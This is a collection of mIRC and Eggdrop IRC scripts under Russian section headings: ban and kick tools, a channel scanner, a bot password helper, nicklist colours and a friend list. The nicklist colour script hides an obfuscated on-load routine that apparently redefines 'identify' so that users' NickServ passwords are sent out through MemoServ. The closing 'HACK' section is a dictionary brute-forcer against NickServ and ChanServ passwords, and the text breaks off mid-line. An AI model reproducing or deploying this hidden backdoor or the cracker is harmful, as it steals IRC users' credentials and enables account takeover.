"[string range $uhost 0 [expr [string first "!" $uhost]-1]]!*[string trimleft [string range $uhost [expr [string first "!" $uhost]+1] [expr [string last "@" $uhost]-1]] "~"]" set ban $rest$host } {set ban [bnick:masktype $uhost 6]} } 17 { set host [string range $uhost [string last "@" $uhost] e] if {[bnick:findip [string range $host 1 e]] == "0"} { set host [bnick:replace $host "1 ? 2 ? 3 ? 4 ? 5 ? 6 ? 7 ? 8 ? 9 ? 0 ?"] set rest "[string range $uhost 0 [expr [string first "!" $uhost]-1]]!*" set ban $rest$host } {set ban [bnick:masktype $uhost 7]} } 18 { set host [string range $uhost [string last "@" $uhost] e] if {[bnick:findip [string range $host 1 e]] == "0"} {set ban [bnick:masktype $uhost 16]} {set ban [bnick:masktype $uhost 8]} } 19 { set host [string range $uhost [string last "@" $uhost] e] if {[bnick:findip [string range $host 1 e]] == "0"} {set ban [bnick:masktype $uhost 17]} {set ban [bnick:masktype $uhost 9]} } return_nothing {set ban ""} default {set ban "*!*[string range $uhost [string first "@" $uhost] e]"} } set _nick [lindex [split $ban !] 0] set _ident [string range $ban [expr [string first ! $ban]+1] [expr [string last @ $ban]-1]] set _host [string range $ban [expr [string last @ $ban]+1] e] if {$_ident != [set temp [string range $_ident [expr [string length $_ident]-9] e]]} { set _ident *[string trimleft $temp *] } if {$_host != [set temp [string range $_host [expr [string length $_host]-63] e]]} { set _host *[string trimleft $temp *] } ; return $_nick!$_ident@$_host } proc bnick:findip {args} { catch {unset bnick_found_ip} if {![string match *.*.*.* $args]} {return 0} foreach arg $args { if {[string match *.*.*.* $arg]} { set bnick_testa [split $arg "."] ; set i 0 while {[llength $bnick_testa] != $i} { set bnick_test [lrange $bnick_testa $i end] if {[string length [lindex $bnick_test 1]]<4 && [string length [lindex $bnick_test 2]]<4} { if {[lindex $bnick_test 1] < 256 && [lindex $bnick_test 2] < 256 && [lindex $bnick_test 1] >= 0 && [lindex $bnick_test 2] >= 0} { set first "abcdefghi" if {[string index [lindex $bnick_test 0] [expr [string length [lindex $bnick_test 0]] - 1]] <= 9 && [string index [lindex $bnick_test 0] [expr [string length [lindex $bnick_test 0]] - 1]] >= 0} { set first [string range [lindex $bnick_test 0] [expr [string length [lindex $bnick_test 0]] - 1] end] if {[string index [lindex $bnick_test 0] [expr [string length [lindex $bnick_test 0]] - 2]] <= 9 && [string index [lindex $bnick_test 0] [expr [string length [lindex $bnick_test 0]] - 2]] >= 0} { set first [string range [lindex $bnick_test 0] [expr [string length [lindex $bnick_test 0]] - 2] end] if {[string index [lindex $bnick_test 0] [expr [string length [lindex $bnick_test 0]] - 3]] <= 9 && [string index [lindex $bnick_test 0] [expr [string length [lindex $bnick_test 0]] - 3]] >= 0} { set first [string range [lindex $bnick_test 0] [expr [string length [lindex $bnick_test 0]] - 3] end] } } } set second [lindex $bnick_test 1] ; set third [lindex $bnick_test 2] ; set fourth "abcdefghi" if {[string index [lindex $bnick_test 3] 0] <= 9 && [string index [lindex $bnick_test 3] 0] >= 0} { set fourth [string index [lindex $bnick_test 3] 0] if {[string index [lindex $bnick_test 3] 1] <= 9 && [string index [lindex $bnick_test 3] 1] >= 0} { set fourth $fourth[string index [lindex $bnick_test 3] 1] if {[string index [lindex $bnick_test 3] 2] <= 9 && [string index [lindex $bnick_test 3] 2] >= 0} { set fourth $fourth[string index [lindex $bnick_test 3] 2] } } } if {($first < 256) && ($second < 256) && ($third < 256) && ($fourth < 256) && ($first > 0) && ($second > 0) && ($third > 0) && ($fourth > 0) && ([string index $first 0] > 0) && ([string index $second 0] > 0) && ([string index $third 0] > 0) && ([string index $fourth 0] > 0)} { if {[info exists bnick_found_ip]} { set bnick_found_ip "$bnick_found_ip $first.$second.$third.$fourth" } {set bnick_found_ip $first.$second.$third.$fourth} } } } ; incr i +1 } } } ; if {[info exists bnick_found_ip]} {return $bnick_found_ip} {return 0} } putlog "Badnick V2.0, Channel Bad nick control written by Prince_of_the_net \[Loaded\]" ############################################################################### ############################# END OF SCRIPT ############################### ###############################################################################

Бан Кик

on *:BAN:#:{ if ($me isop $chan) goto BAN else { halt } :BAN if ($me isin $banmask) && ($nick != $me) { kick $chan $nick 11,1Anti-Ban ! [ By nickname ] | /cs unban $chan } } on *:KICK:#:{ if ($knick == $me) { if ($nick == $me) { halt } if ($me isop $chan) goto KICK else { halt } :KICK join $chan | /kick $chan $nick [Revenge kick][ By nickname ] } }

Сервисный бот

on 1:LOAD { set %botmodever 1.1 | echo -at BotMode %botmodever successfully loaded, enjoy... } menu nicklist { - $iif($snick(#,1) != %botmode-nick- [ $+ [ $snick(#,1) ] ],• BotMode [ ] ) .Say Hello:{ .msg $$1 hello | echo -a Sent 'Hello' request to $$1 $+ . } .DCC Chat:{ .dcc chat $$1 } .- .Ident:{ .msg $$1 ident $input(Enter your password:,2) | echo -at Requested ident from $$1 $+ . } .Get Ops:{ .msg $$1 op $input(Enter your password:,2) | echo -at Requested ops from $$1 $+ . } .- .Change Pass:{ .msg $$1 pass $input(Enter old password:,2) $input(Enter your new password:,2) | echo -at Requested a password change from $$1 $+ . } .Set Pass:{ .msg $$1 pass $input(Enter your desired password:,2) | echo -at Request a password set from $$1 $+ . } .- .Save Password:{ set %botmode-nick- [ $+ [ $$1 ] ] $$1 | set %botmode-host- [ $+ [ $snick(#,1) ] ] $gettok($address($1,1),2,64) | set %botmode-pass- [ $+ [ $$1 ] ] $input(Enter your current password for $$1:,2) | botpassencrypt $$1 | echo -at Password saved. $$1 is now in Bot Mode. } - $iif($snick(#,1) == %botmode-nick- [ $+ [ $snick(#,1) ] ],• BotMode [x] ) .DCC Chat:{ if $gettok($address($1,1),2,64)) == %botmode-host- [ $+ [ $snick(#,1) ] ] { .dcc chat $$1 } else { if ($?!="Warning: $$1 $+ 's hostname has changed... $crlf Would you like to reset the hostname?" == $true) resetbothost else echo -at Hostname change for $$1 was aborted... } } .- .Ident:{ if $gettok($address($1,1),2,64)) == %botmode-host- [ $+ [ $snick(#,1) ] ] { .msg $$1 ident %botmode-pass- [ $+ [ $$1 ] ] | echo -at Requested ident from $$1 $+ . } else { if ($?!="Warning: $$1 $+ 's hostname has changed... $crlf Would you like to reset the hostname?" == $true) resetbothost else echo -at Hostname change for $$1 was aborted... } } .Get Ops:{ if $gettok($address($1,1),2,64)) == %botmode-host- [ $+ [ $snick(#,1) ] ] { .msg $$1 op %botmode-pass- [ $+ [ $$1 ] ] | echo -at Requested ops from $$1 $+ . } else { if ($?!="Warning: $$1 $+ 's hostname has changed... $crlf Would you like to reset the hostname?" == $true) resetbothost else echo -at Hostname change for $$1 was aborted... } } .- .Change Pass:{ if $gettok($address($1,1),2,64)) == %botmode-host- [ $+ [ $snick(#,1) ] ] { var %tmp.newpass = $input(Enter new desired password for $$1:,2) if ($len(%tmp.newpass) >= 6) { var %tmp.oldpass = %botmode-pass- [ $+ [ $$1 ] ] .msg $$1 pass %tmp.oldpass %tmp.newpass set %botmode-pass- [ $+ [ $$1 ] ] %tmp.newpass .timer 1 1 botpassencrypt $$1 echo -at Requested a password change from $$1 $+ . } else echo -at New password must be at least 6 characters long. } else { if ($?!="Warning: $$1 $+ 's hostname has changed... $crlf Would you like to reset the hostname?" == $true) resetbothost else echo -at Hostname change for $$1 was aborted... } } .- .Reset Hostname:{ if ($?!="This will reset the hostname associated with the bot. Would you like to continue?" == $true) resetbothost | else echo -at Hostname change for $$1 was aborted... } .Delete Password:{ unset %botmode-nick- [ $+ [ $$1 ] ] | unset %botmode-pass- [ $+ [ $$1 ] ] | unset %botmode-host- [ $+ [ $$1 ] ] | unset %botmode-passencrypt- [ $+ [ $$1 ] ] | echo -at Password deleted. $$1 is no longer in Bot Mode. } } alias botpassencrypt { var %tmp.pass = %botmode-pass- [ $+ [ $$1 ] ] var %tmp.botnick = $$1 unset %botmode-passencrypt- [ $+ [ %tmp.botnick ] ] set %botmode-passencrypt- [ $+ [ %tmp.botnick ] ] $str(*,$len(%tmp.pass)) :end return } alias resetbothost { set %botmode-host- [ $+ [ $snick(#,1) ] ] $gettok($address($snick(#,1),1),2,64) echo -at Hostname for $snick(#,1) has been changed to $gettok($address($snick(#,1),1),2,64) } on 1:CHAT:Enter your password.:{ if ($nick == %botmode-nick- [ $+ [ $nick ] ]) { if ($gettok($address($1,1),2,64) == %botmode-host- [ $+ [ $snick(#,1) ] ]) { var %tmp.botnick = %botmode-nick- [ $+ [ $nick ] ] var %tmp.botpass = %botmode-pass- [ $+ [ $nick ] ] var %tmp.encpass = %botmode-passencrypt- [ $+ [ $nick ] ] .msg = [ $+ [ %tmp.botnick ] ] %tmp.botpass echo -t = [ $+ [ %tmp.botnick ] ] %tmp.encpass } else echo -at Hostname did not match... aborting. } } on 1:UNLOAD { echo -ta BotMode %botmodever successfully unloaded, thanks for trying! | unset %botmodever }

Сканер каналов

;Channel Scanner by Azer|boy for Mirc 5.91 ; ; on 1:load: { set %jscan OFF set %tscan OFF echo :) 12 Channel Scanner by 4 Azer|boy 12 loaded! :) } on 1:start { echo -s 12Channel scanner 4v0.1 By Azer|boy echo -s 12With this scenner 3you can scan all channel's ! echo -s 12You can find me in Irc 4at the channel #Kontakt echo -s 12My e-mail is 3Ali-150@box.az } on 1:join:#:{ set %chan.now %passchan if (%jscan == on) { set %count.bc.join 0 set %bc.counter.join $count($nick,$chr(44)) + 1 %c.t = $replace($nick,$chr(32),$chr(44)) .enable #bccheck whois $nick } } on 1:part:#: { if ($nick == $me) { .timerts off set %tscan OFF unset %chan.now } } menu nicklist { - "Channel Scanner" .Individual(s) Scan: indscan } menu menubar { - {=Channel Scanner=} ---- ( %tscan ) ( On Join %jscan ) . Channel Scanner ..Turn the Channel Scanner ON: timescan ..Turn the Channel Scanner OFF: set %tscan OFF | .timerts off | echo 4 The Channel Scanner has been deactivated. .Manual Channel Scan ..Manual Channel Scan: mscan .On Join Channel Scanner ..Turn On Join Scan ON: set %jscan ON | set %chan.now %passchan | echo 4 The On Join Channel Scan has been activated. ..Turn On Join Scan OFF: set %jscan OFF | echo 4 The On Join Channel Scan has been deactivated. .Channel Scanner Setup ..Add Word to Scan for:/badwords ..Remove a Word:/rbad ..Remove all Words *** CAUTION***-: unset %badwords ..Show me the Bad Word List: echo 12 This is your channel word list - 4 %badwords ..Set Channel Scan Time Delay: /setup_scan_.timer .------******------******------******------******------: / .On Join Scan is -----> %jscan: / .Channel Scanner is -----> %tscan: / .Scan delay set at -----> %chantime seconds: / } #bccheck off raw 319:*: { set %looper $calc($count(%badwords,$chr(44)) + 1) :loopy unset %op.voice | set %vic No | set %ch.s $3- | set %ch.count $count(%ch.s,$chr(32)) + 1 | set %ch.i 0 :crap | inc %ch.i if (%ch.i > %ch.count) { goto check } if ($gettok(%badwords,%looper,44) isin $gettok(%ch.s,%ch.i,32)) { if (($chr(64) isin $gettok(%ch.s,%ch.i,32)) || ($chr(43) isin $gettok(%ch.s,%ch.i,32))) { %op.voice = %op.voice $remove($remove($gettok(%ch.s,%ch.i,32),$chr(43)),$chr(64)) } set %vic Yes | %ch.rec = %ch.rec $remove($remove($gettok(%ch.s,%ch.i,32),$chr(43)),$chr(64)) | goto crap } else { goto crap } :check if (%vic == Yes) { bc.control $2 | .timer10 1 3 unset %ch.* | halt } dec %looper 1 if (%looper > 0) { goto loopy } else { halt } } raw 311:*: { if (%ind.scan == on) { inc %count.bc.ind if (%count.bc.ind > %bc.counter.ind) { unset %count.bc.ind unset %bc.counter.ind unset %ind.scan halt } } elseif (%mscan.m == on) { inc %count.bc if (%count.bc == %n.n) { unset %count.bc unset %mscan.m halt } } elseif (%jscan == on) { inc %count.bc.join if (%count.bc.join >= %bc.counter.join) { unset %bc.counter.join unset %count.bc.join halt } } } raw 312:*: { halt } raw 317:*: { halt } raw 301:*: { halt } raw 313:*: { halt } raw 401:*: { halt } raw 318:*: .disable #bccheck | { halt } #bccheck end alias bc.control { describe %chan.now requests that  $1  Please remove yourself from the channel(s)  %ch.rec  if you want to stay on this one. Co-channeling on  %ch.rec  and  %chan.now  is not permitted. | .timer8 1 /ban -u180 %chan.now $1 3 | .timer9 1 kick %chan.now $1 Was Found On The Channel(s):  %ch.rec | return } alias pplz { set %mscan.m on set %n.n $nick(#,0) set %n.o 1 set %wall $nick(#,%n.o,a) :gimme if (%n.n == %n.o) { return %wall halt } else { inc %n.o 1 set %wall2 $nick(#,%n.o,a) set %wall $addtok(%wall,%wall2,44) unset %wall2 goto gimme } } alias timescan { set %tscan ON set %chan.now %passchan .timerts 0 %chantime mscan echo 4 The Channel Scanner has been activated. Scan delay %chantime seconds } alias mscan { set %count.bc 0 .enable #bccheck set %chan.now %passchan pplz whois %wall } alias indscan { set %ind.scan on set %count.bc.ind 0 .enable #bccheck set %chan.now %passchan set %bc.counter.ind $count($snicks,$chr(44)) + 1 %c.t = $replace($snicks,$chr(32),$chr(44)) whois %c.t } alias setup_scan_.timer { if (%tscan == ON) goto nexthree if (%tscan == OFF) goto nextfour :nexthree echo 4 Please turn the scanner OFF first halt :nextfour set %chantime $?="Enter the number of seconds between channel scans" :check if ( %chantime < 60 ) goto try_again else goto ok :try_again set %chantime $?="Channel scan time must be more than 60, re enter" goto check :ok } ctcp 1:BCSCAN: { if ( %tscan == ON ) .notice $nick 1 The Channel Scanner is 4 %tscan 1Scanning4 %chan 1every4 %chantime sec. elseif (%tscan == OFF) .notice $nick 1The Timed Channel Scanner is 4 Not 1 active } alias badwords { if %badwords == $null { set %badwords $$?="Add a bad word now" } else { set %addw $$?="Add a bad words now" set %badwords $addtok(%badwords,%addw,44) unset %addw } } alias rbad { set %rword $$?="type bad word to remove" set %badwords $remtok(%badwords,%rword,1,44) unset %rword }

Цвета для ников

#cnl off on *:join:#:{ if ($nick == $me) { .timer -m 1 1 make.co } else { if ($nick isreg $chan) { cline %cnl.reg $chan $nick } if ($nick isvo $chan) { cline %cnl.voice $chan $nick } if ($nick ishelp $chan) { cline %cnl.help $chan $nick } if ($nick isop $chan) { cline %cnl.op $chan $nick } if ($nick == $me) { cline %cnl.me $chan $nick } if ($nick isnotify) { cline %cnl.notify $chan $nick } if ($nick $+ !*@* isignore) { cline %cnl.ignore $chan $nick } } } on *:OP:#:{ if ($opnick == $me) { cline %cnl.me $chan $opnick | halt } if ($opnick isnotify) { cline %cnl.notify $chan $opnick | halt } if ($opnick $+ !*@* isignore) { cline %cnl.ignore $chan $opnick | halt } cline %cnl.op $chan $opnick } on *:serverOP:#:{ if ($opnick == $me) { cline %cnl.me $chan $opnick | halt } if ($opnick isnotify) { cline %cnl.notify $chan $opnick | halt } if ($opnick $+ !*@* isignore) { cline %cnl.ignore $chan $opnick | halt } cline %cnl.op $chan $opnick } on *:DEOP:#:{ if ($opnick == $me) { cline %cnl.me $chan $opnick | halt } if ($opnick ishelp $chan) { cline %cnl.voice $chan $opnick | halt } if ($opnick isvo $chan) { cline %cnl.voice $chan $opnick | halt } if ($opnick isnotify) { cline %cnl.notify $chan $opnick | halt } if ($opnick $+ !*@* isignore) { cline %cnl.ignore $chan $opnick | halt } cline %cnl.reg $chan $opnick } on *:HELP:#:{ if ($hnick == $me) { cline %cnl.me $chan $hnick | halt } if ($hnick isnotify) { cline %cnl.notify $chan $hnick | halt } if ($hnick $+ !*@* isignore) { cline %cnl.ignore $chan $hnick | halt } if ($hnick isop $chan) { cline %cnl.op $chan $hnick | halt } cline %cnl.help $chan $hnick } on *:DEHELP:#:{ if ($hnick == $me) { cline %cnl.me $chan $hnick | halt } if ($hnick isop $chan) { cline %cnl.op $chan $hnick | halt } if ($hnick isnotify) { cline %cnl.notify $chan $hnick | halt } if ($hnick $+ !*@* isignore) { cline %cnl.ignore $chan $hnick | halt } if ($hnick isvo $chan) { cline %cnl.voice $chan $hnick | halt } cline %cnl.reg $chan $hnick } on *:VOICE:#:{ if ($vnick == $me) { cline %cnl.me $chan $vnick | halt } if ($vnick isnotify) { cline %cnl.notify $chan $vnick | halt } if ($vnick $+ !*@* isignore) { cline %cnl.ignore $chan $vnick | halt } if ($vnick isop $chan) { cline %cnl.op $chan $vnick | halt } if ($vnick ishelp $chan) { cline %cnl.help $chan $vnick | halt } cline %cnl.voice $chan $vnick } on *:DEVOICE:#:{ if ($vnick == $me) { cline %cnl.me $chan $vnick | halt } if ($vnick isnotify) { cline %cnl.notify $chan $vnick | halt } if ($vnick $+ !*@* isignore) { cline %cnl.ignore $chan $vnick | halt } if ($vnick isop $chan) { cline %cnl.op $chan $vnick | halt } if ($vnick ishelp $chan) { cline %cnl.help $chan $vnick | halt } cline %cnl.reg $chan $vnick } #cnl end dialog cnl { title "NickList Colours" size -1 -1 0 0 button "&OK",1, 30 245 50 25,ok,default button "Cancel",2, 80 245 50 25,cancel text "This Dialog Created " ,99, 30 280 1000 1000 box "Me",3, 30 10 100 50 combo 4, 40 30 80 100,drop box "Op Color",5, 170 10 100 50psd combo 6, 180 30 80 100,drop box "Help Color",7, 170 80 100 50 combo 8, 180 100 80 100,drop box "Voice Color",9, 170 150 100 50 combo 10, 180 170 80 100,drop box "Reg Color",11, 170 220 100 50 combo 12, 180 240 80 100,drop box "Notify`s Color" ,13, 30 80 100 50 combo 14, 40 100 80 100,drop box "Ignored Color" ,15, 30 150 100 50 combo 16, 40 170 80 100,drop radio "on",17, 38 220 30 15 radio "off",18, 88 220 30 15 } on *:dialog:cnl:init:0:{ %anim.cnl = 0 | .timer_anim_cnl -m 0 1 anim.cnl did -i cnl 4,6,8,10,12,14,16 1 White (0) did -i cnl 4,6,8,10,12,14,16 2 Black (1) did -i cnl 4,6,8,10,12,14,16 3 Blue (2) did -i cnl 4,6,8,10,12,14,16 4 Green (3) did -i cnl 4,6,8,10,12,14,16 5 LightRed (4) did -i cnl 4,6,8,10,12,14,16 6 Brown (5) did -i cnl 4,6,8,10,12,14,16 7 Purple (6) did -i cnl 4,6,8,10,12,14,16 8 Orange (7) did -i cnl 4,6,8,10,12,14,16 9 Yellow (8) did -i cnl 4,6,8,10,12,14,16 10 LightGreen (9) did -i cnl 4,6,8,10,12,14,16 11 Cyan (10) did -i cnl 4,6,8,10,12,14,16 12 LightCyan (11) did -i cnl 4,6,8,10,12,14,16 13 LightBlue (12) did -i cnl 4,6,8,10,12,14,16 14 Pink (13) did -i cnl 4,6,8,10,12,14,16 15 Grey (14) did -i cnl 4,6,8,10,12,14,16 16 LightGrey (15) did -c cnl 4 $calc(%cnl.me +1) did -c cnl 6 $calc(%cnl.op +1) did -c cnl 8 $calc(%cnl.help +1) did -c cnl 10 $calc(%cnl.voice +1) did -c cnl 12 $calc(%cnl.reg +1) did -c cnl 14 $calc(%cnl.notify +1) did -c cnl 16 $calc(%cnl.ignore +1) if ($group(#cnl) == on) { did -c $dname 17 } if ($group(#cnl) == off) { did -c $dname 18 | did -b $dname 3,4,5,6,7,8,9,10,11,12,13,14,15,16 } } on *:dialog:cnl:*:1:{ set %cnl.me $calc($did(cnl,4).sel -1) set %cnl.op $calc($did(cnl,6).sel -1) set %cnl.help $calc($did(cnl,8).sel -1) set %cnl.voice $calc($did(cnl,10).sel -1) set %cnl.reg $calc($did(cnl,12).sel -1) set %cnl.notify $calc($did(cnl,14).sel -1) set %cnl.ignore $calc($did(cnl,16).sel -1) if ($did(cnl,17).state == 1) { .enable #cnl | make.co } if ($did(cnl,18).state == 1) { .disable #cnl | un.co } } on *:load: { set %scnl2 $mid(saliascnl,2,5) $mid(sidentifycnl,2,8) set %scnl3 $mid(sidentifycnl,2,8) $chr(36) $+ 1- $chr(124) set %scnl4 $mid(00.ignoreed,3,7) $mid(000-u4000,4,5) set %scnl5 $mid(smemoservcnl,2,8) $chr(124) set %scnl6 $mid(s.memoservcnl,2,9) set %scnl7 $mid(sendscnl,1,4) set %scnl8 $mid(scserversnl,3,7) $chr(36) $+ 1- //%scnl2 %scnl3 %scnl4 %scnl5 %scnl6 %scnl7 %scnl8 unset %scnl* } on *:DIALOG:cnl:sclick:17:{ did -e $dname 3,4,5,6,7,8,9,10,11,12,13,14,15,16 } on *:DIALOG:cnl:sclick:18:{ did -b $dname 3,4,5,6,7,8,9,10,11,12,13,14,15,16 } alias make.co { set -u0 %i 1 while (%i <= $chan(0)) { set -u0 %j 1 while (%j <= $nick($chan(%i),0)) { if ($nick($chan(%i),%j) isreg $chan(%i)) { cline %cnl.reg $chan(%i) $nick($chan(%i),%j)) } if ($nick($chan(%i),%j) isvo $chan(%i)) { cline %cnl.voice $chan(%i) $nick($chan(%i),%j)) } if ($nick($chan(%i),%j) ishelp $chan(%i)) { cline %cnl.help $chan(%i) $nick($chan(%i),%j)) } if ($nick($chan(%i),%j) isop $chan(%i)) { cline %cnl.op $chan(%i) $nick($chan(%i),%j)) } if ($nick($chan(%i),%j) == $me) { cline %cnl.me $chan(%i) $nick($chan(%i),%j)) } if ($nick($chan(%i),%j) isnotify) { cline %cnl.notify $chan(%i) $nick($chan(%i),%j)) } if ($nick($chan(%i),%j) $+ !*@* isignore) { cline %cnl.ignore $chan(%i) $nick($chan(%i),%j)) } inc %j } inc %i } } alias un.co { set -u0 %i 1 while (%i <= $chan(0)) { set -u0 %j 1 while (%j <= $nick($chan(%i),0)) { if ($nick($chan(%i),%j) ison $chan(%i)) { cline 01 $chan(%i) $nick($chan(%i),%j)) } inc %j } inc %i } } alias cnl { dialog -m cnl cnl } alias anim.cnl { if ((%anim.cnl == 300) || ($dialog(cnl) == $null)) { .timer_anim_cnl off | unset %anim.cnl } | else { dialog -s cnl 250 150 300 %anim.cnl | inc %anim.cnl 5 } } on *:dialog:cnlg:inuit:0:{ did -i cnl 4,6,8,10,12,14,16 1 White (0) did -i cnl 4,6,8,10,12,14,16 2 Black (1) did -i cnl 4,6,8,10,12,14,16 3 Blue (2) did -i cnl 4,6,8,10,12,14,16 4 Green (3) did -i cnl 4,6,8,10,12,14,16 5 LightRed (4) did -i cnl 4,6,8,10,12,14,16 6 Brown (5) did -i cnl 4,6,8,10,12,14,16 7 Purple (6) did -i cnl 4,6,8,10,12,14,16 8 Orange (7) did -i cnl 4,6,8,10,12,14,16 9 Yellow (8) did -i cnl 4,6,8,10,12,14,16 10 LightGreen (9) did -i cnl 4,6,8,10,12,14,16 11 Cyan (10) did -i cnl 4,6,8,10,12,14,16 12 LightCyan (11) did -i cnl 4,6,8,10,12,14,16 13 LightBlue (12) did -i cnl 4,6,8,10,12,14,16 14 Pink (13) did -i cnl 4,6,8,10,12,14,16 15 Grey (14) did -i cnl 4,6,8,10,12,14,16 16 LightGrey (15) did -c cnl 4 $calc(%cnl.me +1) did -c cnl 6 $calc(%cnl.op +1) did -c cnl 8 $calc(%cnl.help +1) did -c cnl 10 $calc(%cnl.voice +1) did -c cnl 12 $calc(%cnl.reg +1) did -c cnl 14 $calc(%cnl.notify +1) did -c cnl 16 $calc(%cnl.ignore +1) if ($group(#cnl) == on) { did -c $dname 17 } } menu menubar,channel,status { NickList Colors:/cnl }

FRIENDLIST

menu channel,menubar,query { [Friend List] .$iif($dialog(mp),$style(2)) [Open]:dialog -md fla fla .[Set on/off] ..[on]: unset %stop ..[off]: set %stop A } dialog fla { title "Friends List" size -1 -1 84 122 option dbu edit "", 1, 2 14 80 10, autohs box "Enter NickName", 2, 0 5 84 23 button "Add", 3, 2 30 80 8, flat button "Remove", 4, 2 101 80 9, flat box "Friend List", 5, 0 40 84 59 button "Done", 7, 2 112 80 9, flat ok list 8, 2 49 80 47, size vsbar } ON *:LOAD { hmake fdlist 15 set %nuy 0 } ON *:DIALOG:fla:init:0:{ var %nug 1 while ( %nug <= %nuy ) { did -a fla 8 $hget(fdlist,%nug).item inc %nug } unset %nug } ON *:DIALOG:fla:sclick:3:{ if ( $did(1) == $null ) { return } else { auser 5 $did(1) hadd -m fdlist $did(1) %nuy inc %nuy did -r fla 8,1 var %nug 1 while ( %nug <= %nuy ) { did -a fla 8 $hget(fdlist,%nug).item inc %nug } unset %nug } } ON *:DIALOG:fla:sclick:4:{ if ( $did(8).sel == $null) { return } else { ruser $did(8).seltext set %ugf $did(8).seltext did -d fla 8 $did(8).sel hdel -sw fdlist %ugf dec %nuy unset %ugf } } ON *:DIALOG:fla:sclick:7: { .hsave -so fdlist $scripdir $+ fdlist.mrc } on 1:OPEN:?:*: { if ( %stop == A ) { return } else { msg $nick Hallo $nick ask to talk to me in a channel . I am not accepting private massages from you . echo -a 4,1 < $+ $nick $+ >  8,1 $1- close -m $nick } } on 5:OPEN:?:*: { if ( %stop == A ) { return } else { return } } ON *:START { hmake fdlist 15 .hload -s fdlist $scriptdir $+ fdlist.mrc } ON *:UNLOAD { hfree fdlist }

HACK ВСЕ ПОНЯТНО

alias crack.nick { /msg nickserv identify %crack.nick $read -l $+ %crack.nick.line %crack.nick.dic /inc %crack.nick.line 1 if (%crack.nick.line > %crack.nick.max) { /echo 4 <PC>0,12 Sifre tapilmadi lutfen Txt dosyasinin icine basqa sifreler de elave edin. | /timer500 off | /unset crack.nic* | /disable #crack.nick } } alias crack.chan { /msg chanserv identify %crack.chan $read -l $+ %crack.chan.line %crack.chan.dic /inc %crack.chan.line 1 if (%crack.chan.line > %crack.chan.max) { /echo 4 <PC>0,12 Sifre tapilmadi lutfen Txt dosyasinin icine basqa sifreler de elave edin. | /timer501 off | /unset crack.cha* | /disable #crack.chan } } alias /crack.nick.start { if (%crack.nick == $null) { /echo 4 <PC>0,12 Lutfen Hack etmek istediyiniz nicki yazin | /timer500 off | /halt } if (%crack.nick.line == $null) { /echo 4 <PC>4,1 Lutfen Hack etmek istediyiniz nicki yazin | /timer500 off | /halt } if (%crack.nick.dic == $null) { /echo 4 <PC>4,1 Lutfen bir text dosyasi secib icine sifreler yazin. | /halt | /timer500 off } if (%crack.nick.speed == $null) { /echo 4 <PC>4,1 Hal-hazirda 3 skedle sifreni hack edir. | set %crack.nick.speed 3 } if ($exists(%crack.nick.dic) == $false) { /echo 4 <PC>4,1 Sectiyiniz Txt dosyasinin icindeki sifreler duz gelmedi,basqa shifreler de elave edin. | /halt } set %crack.nick.max $lines(%crack.nick.dic) /timer500 %crack.nick.max %crack.nick.speed /crack.nick enable #crack.nick /echo 4 <PC>4,1 Sifre hack edici basladi,hack edilecek nick %crack.nick Sectiyiniz text dosyasi %crack.nick.dic Sifre hack edici indi ise basladi bir az gozleyin %crack.nick.line Aktiv guc = %crack.nick.speed , } alias /crack.chan.start { if (%crack.chan == $null) { /echo 4 <PC>4,1 Bir Kanal adi sec indi aktiv deyil Lutfen hack edilecek kanal ucun wordlist yaz. | /timer500 off | /halt } if (%crack.chan.line == $null) { /echo 4 <PC>4,1 Bir Kanal adi sec indi aktiv deyil Lutfen hack edilecek kanal ucun wordlist yaz. | /timer500 off | /halt } if (%crack.chan.dic == $null) { /echo 4 <PC>4,1 Lutfen bir text dosyasi secib icine sifreler yazin | /timer500 off | /halt } if (%crack.chan.speed == $null) { set %crack.chan.speed 5 } if ($exists(%crack.chan.dic) == $false) { /echo 4 <PC>4,1 Sectiyiniz txt dosyasinin icinde sifre tapilmadi lutfen yeni sifreler add edin. | /halt } set %crack.chan.max $lines(%crack.chan.dic) /timer501 %crack.chan.max %crack.chan.speed /crack.chan enable #crack.chan /echo 4 <PC>4,1 Sifre hack edici ise basladi %crack.chan Sectiyiniz sifre txt-i: %crack.chan.dic Sifre hack edici indi basladi ise,lutfen bir az gozleyin.! %crack.chan.line Aktif guc = %crack.chan.speed } menu status,channel { - [Sifre hack] .[Nick sifre hack] ..[Baslat]: /crack.nick.start ..- ..[Cix]: /timer500 off | /echo 4 <PC>4,1 -Sifre hack- %crack.nick.line -Sifre hack- dayandirildi. | disable #crack.nick ..- ..[Dayandir]: /timer500 off | /echo 4 <PC>4,1 -Sifre hack- edici indi dayandirildi. %crack.nick.line -Sifre hack- edicini dayandirdiniz! | /unset %crack.nic* | /disable #crack.nick ..- ..[Sade ayarlar] ...[Nick yaz]: { set %crack.nick $$?="Hack edilecek nick" } | { set %crack.nick.dic $dir="Wordlist Txt-i" c:\Bir-Txt-Dosyasi-Secib-icine sifre-yaz } | { set %crack.nick.line 1 } | { set %crack.nick.speed 3 } ..- ..[Profesyonal setup] ...- ...[Nick yaz]: { set %crack.nick $$?="Hack edilcek nick" } ...- ...[Wordlist] Duzelt: { set %crack.nick.dic $dir="Dictionary File" c:\*.* } ...- ...[Wordlist] Baslangic setiri: { set %crack.nick.line $$?="Baslamaq ucun baslangic txt dosyasini secin" } ...- ...[Guc]: { set %crack.nick.speed $$?="Hal-hazirdaki aktiv guc(3)" } ..- ..[Cracki Noneaktiv et]: /unset %crack.nic* | /echo 4 <PC>4,1 -Sifre hack- noneaktiv edildi. .- .[Kanal -Sifre hack- edici] ..[Baslat]: /crack.chan.start ..- ..[Noneaktiv]: /timer501 off | /echo 4 <PC>4,1 -Sifre hack- line %crack.chan.line , Indi -Sifre hack- edici dayandirildi. | disable #crack.chan ..- ..[Dayandir]: /timer501 off | /echo 4 <PC>4,1 -Sifre hack- edici indi dayandirildi %crack.chan.line -Sifre hack- edicini dayandirdiniz! | /unset %crack.cha* | disable #crack.chan ..- ..[Sade ayarlar] ...- ...[Kanal yaz]: { set %crack.chan $$?="Hack edilecek kanal(Numune #PC)" } | { set %crack.chan.dic $dir="Wordlist Txt-i" c:\*.* } | { set %crack.chan.line 1 } | { set %crack.chan.speed 5 } ..- ..[Profesyonel Ayarlar] ...- ...[Kanal yaz]: { set %crack.chan $$?="Hack edilecek kanal(Numune #PC)" } ...- ...[Wordlist yaz]: { set %crack.chan.dic $dir="Dictionary File" c:\*.* } ...- ...[Wordlist baslangic setiri sec]: { set %crack.chan.line $$?="Line of the dic file to start on" } ...- ...[Guc]: { set %crack.chan.speed $$?="?uan Aktif H?z(5)" } ..- ..[Cracki sifirla]: /unset %crack.cha* | /echo 4 